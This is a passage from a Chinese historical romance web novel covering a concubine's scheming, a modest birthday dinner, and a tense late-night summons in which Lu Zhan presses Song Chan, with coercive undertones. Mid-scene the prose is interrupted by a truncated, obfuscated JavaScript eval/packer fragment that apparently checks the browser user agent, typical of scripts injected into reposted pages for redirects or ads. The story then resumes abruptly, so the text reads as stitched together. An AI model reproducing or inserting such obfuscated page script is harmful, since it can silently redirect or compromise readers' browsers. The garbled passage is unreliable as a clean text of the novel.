赵小娘轻轻拍了拍甥女的手，眼神中透出笃定，微微一笑道：“傻孩子，凭他在外如何，只要是男人，就必定有弱点。你按我吩咐的去做，展现出你的温柔乖巧，再加上这精心布置的机缘，还怕他不动心？” 赵婉咬了咬嘴唇，点了点头：“既然姨妈有把握，那婉儿便照做便是。” 赵小娘轻轻搂住甥女的肩膀，安抚道：“放心，有姨妈在，一切都安排妥当了。你只管按我说的做，其他的无需多虑。只要你能成功近了他的身，好日子还在后头呢。” 20. 入V通告 宋蝉教纪芙制香已有些日子了，纪芙为人聪慧，又肯用功，每日都钻研到半夜，时不时还会来宋蝉屋里问问题。 有这样肯下功夫的决心，很快她便学会了基础的制香技艺。 两人本就住得近，这一来二去的交集，关系也逐日亲密起来。 恰好今年孙小娘过的是逢六的生日，宋蝉出了个主意，让陆芙分别制了六种香膏。 瓷瓶也是特地找了瓷窑定制了不同花样，对应不同的味道。 包装完毕，陆芙撒娇般挽上宋蝉的小臂，晃了晃：“还好有婵姐姐帮我，今年的贺礼阿娘一定喜欢。” 次日傍晚，两人一同到孙小娘屋里庆生。 府中没人记得孙小娘的生日，就连她的枕边人，也将这个特殊日子抛诸脑后，一句问候都不曾带来。 宋蝉想到前几日，赵小娘新得了一个上好的青玉樽，陆国公还专门为她在府中设了宴，喊了京中的贵妇人一起来观赏宴玩。 而今孙小娘的生辰却这般简单，实在是令人唏嘘。 不过孙小娘好似并不在意这些。 即便屋里只有他们三人，孙小娘也并未敷衍。特地在几扇窗户上贴了些红彤彤的喜庆窗花，自己也换上一身桃粉色的裙装，衬得面色红润，喜上眉梢。 桌上更是摆好了翡翠虾仁、金丝蛋羹等家常菜，食材虽不如公府厨房的昂贵精致，但每一道都是她亲手烹制，摆盘也颇具巧思。 孙小娘收了陆芙精心准备的礼物，欢喜地不得了，一时感动得说不出话来，只不停地往两人碟子里夹菜。 一顿饭的时光，欢声笑语不断，宋蝉本想着今夜再多留些时候，继续沉浸在这份难能可贵的温暖里，只是一阵急促的脚步声打破了屋内的祥和。 紫芙走了进来，在门廊下对宋蝉使了个眼色。 宋蝉会意，找了个借口先出去了。 门廊外，紫芙神色恭敬地一礼，在宋蝉耳边轻声说道：“娘子，大人那边传了话，说是在房里特意为您准备了一样东西，让您早些回去找他，不要在此处留太久。” 宋蝉眼神一怔。 这时候回去，岂不是扫了大家的兴致？ 她低声说了句知道了，便重新回到桌上。 陆芙见宋蝉回来后有些心不在焉，心领神会，笑着解围道：“婵姐姐若有急事便先回去吧，以后咱们有的是时间相聚。” 回屋的路上，看着裙下被月光铺满的青石板路，宋蝉更生出几分酸涩的不舍。 这份源自平凡人家的温暖，看似寻常，对她而言，却如梦般遥不可及。 十多年来，无数个日夜，她都在默默期盼着这样的温暖。如今，这温暖触手可及，却又因陆湛的召唤即将中断，怎能不让她感慨万千。 回到屋里，宋蝉不悦道：“究竟是什么东西非要赶在今晚看了，还要去见他回话？” 苏罗与桃松引着宋蝉进内室，绣榻上正摆着一件皦玉色的新衣，样式清新素雅，胸口处绣着一圈精细的杏花纹样，花蕊皆以细小珍珠镶嵌点缀。 宋蝉的面色微变。 并不是她要多想，只是经过那夜之后，她对陆湛的印象已不复从前。 已是酉时了，京中大部分人家都用了晚膳预备洗漱休息了。 这个时候，陆湛却送来这样一件绘尽女子柔美的衣裳，还让她换上这件衣裳去见他。 他究竟要做什么？ 她是答应要做他手中的一把刀，却还没有做好“献身”的准备。 宋蝉踟蹰在原地，不愿行动。 紫芙轻声催促：“娘子，大人此时找您怕是有急事，还是不要耽误的好，大人的性子您也是知晓的……” 紫芙的话仿若冬日里刺骨的冰水，毫无征兆地兜头泼下，宋蝉陡然清醒了。 是有几日没见到陆湛了，都快忘了他从前令人胆惧的模样了。 是啊，陆湛向来是说一不二，没有任何余地可以磋商。若是今日一再推脱惹得陆湛不快，后果不堪设想。 宋蝉很快让自己镇定下来，由紫芙苏罗帮忙更衣，整理好衣妆后便朝着陆湛屋里去了。 陆湛屋内，仆人正有条不紊地往桌上上菜。 宋蝉甫一进屋，目光扫了一圈却未见其人，只听得后侧盥室传来些许动静。 少顷，陆湛缓缓从盥室走出，只穿着一身袍摆垂地的白色睡袍，宽松地拢在他的身上。 睡袍下隐约透出一道轮廓健硕、肌肉硬朗分明的男子躯体，看得宋蝉顿时面红耳赤。 陆湛墨发未束，额前鬓角的几缕碎发，还沾着些水汽，烛光映照下，闪烁着旖旎的微光。 一滴水珠顺着刀削般的侧颊滑落，最终隐入他的领口。 宋蝉生出了些“非礼勿视”的羞愧，赶忙低下头，瓷白的面上像是燃起了一团朝霞，只觉心跳如鼓。 陆湛却神色自若地坐下了：“你也一起吃些吧。” 宋蝉站在旁边不敢抬头，只觉得再接近都是一种冒犯。 “刚才在孙小娘那边已经吃饱了，我等大人吃完就好。” “再陪我用些。” 陆湛声音很轻，但宋蝉明白，这绝不是请求，而是命令。 圆桌边一共只摆放了四个绣墩，两个紧贴着陆湛，还有一个正对他面前。 该坐在哪里，宋蝉犯了难。 等最后一道菜上完，仆人垂着头退下，关上了门。 屋门关上的瞬间，宋蝉明白必须要做个抉择了。 坐在对面抬眼就是对视，太过尴尬。 身侧的两个位置倒是可以考虑。犹豫再三，宋蝉选了靠近屋门那侧的绣墩坐下。 虽然今夜她没敢再用香，但若陆湛再有别的想法，至少还有逃走的机会。 刚才宋蝉瞧得真切，陆湛的臂膀结实有力，小臂隐有青筋凸起。 难怪上次被他压制在桌上，没有半点挣脱的力气。 陆湛的晚膳很简单清淡，桌上只摆了一条蒸鱼、两碟素炒、一份羹汤。 宋蝉有些出乎意料。 她原以为，像陆湛这样的武将，应当顿顿饮酒食荤。 那他是靠什么才长成这样健壮的躯体呢…… 陆湛的脸庞因沐浴后的热气而微微泛红，眼眸深邃而明亮，透着一丝慵懒与冷峻。 两人相顾无言，唯有桌面烛光曳曳。 气氛实在有些冰冷，宋蝉伸手去握汤勺，想舀一碗羹汤消解尴尬。 陆湛却也在此时伸手，正好覆盖着她的手面。 瞬间如有电流涌过全身，宋蝉瞬间缩回了手。 汤勺重新坠入盆底，几滴羹汤溅落在桌面上，洇开一片。 陆湛沉沉抬眼，也不拐弯抹角，直接问道：“你在躲我？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不必害怕我。” “要了你，或者是杀了你，于我来说没什么分别。” 陆湛停顿了一下，仿佛想要解释，又像是掩饰：“我现在对你，也没那些兴趣。” 说不出心中是愤怒更多，还是别样的情绪更浓。 虽然陆湛那夜的行径确不是君子所为，但宋蝉自己也有对不住他的地方。 毕竟当时，她也对他用了香。 一半一半，便算扯平了。 宋蝉放下手中调羹，今夜第一次，看向陆湛的双眼。 “大人想要说什么？” 陆湛沉默片刻，又道：“上次只是个意外。” 是不是意外又能怎样呢？总之那夜的事确实发生过。 即便她想忘却，也不是轻易便能忘的。 但宋蝉明白点到即止的道理。 “大人今夜叫我来，是有什么事吗？” 陆湛不语，啜了口茶，而后放下茶盏，面色平静道。 “将你的外氅脱了。”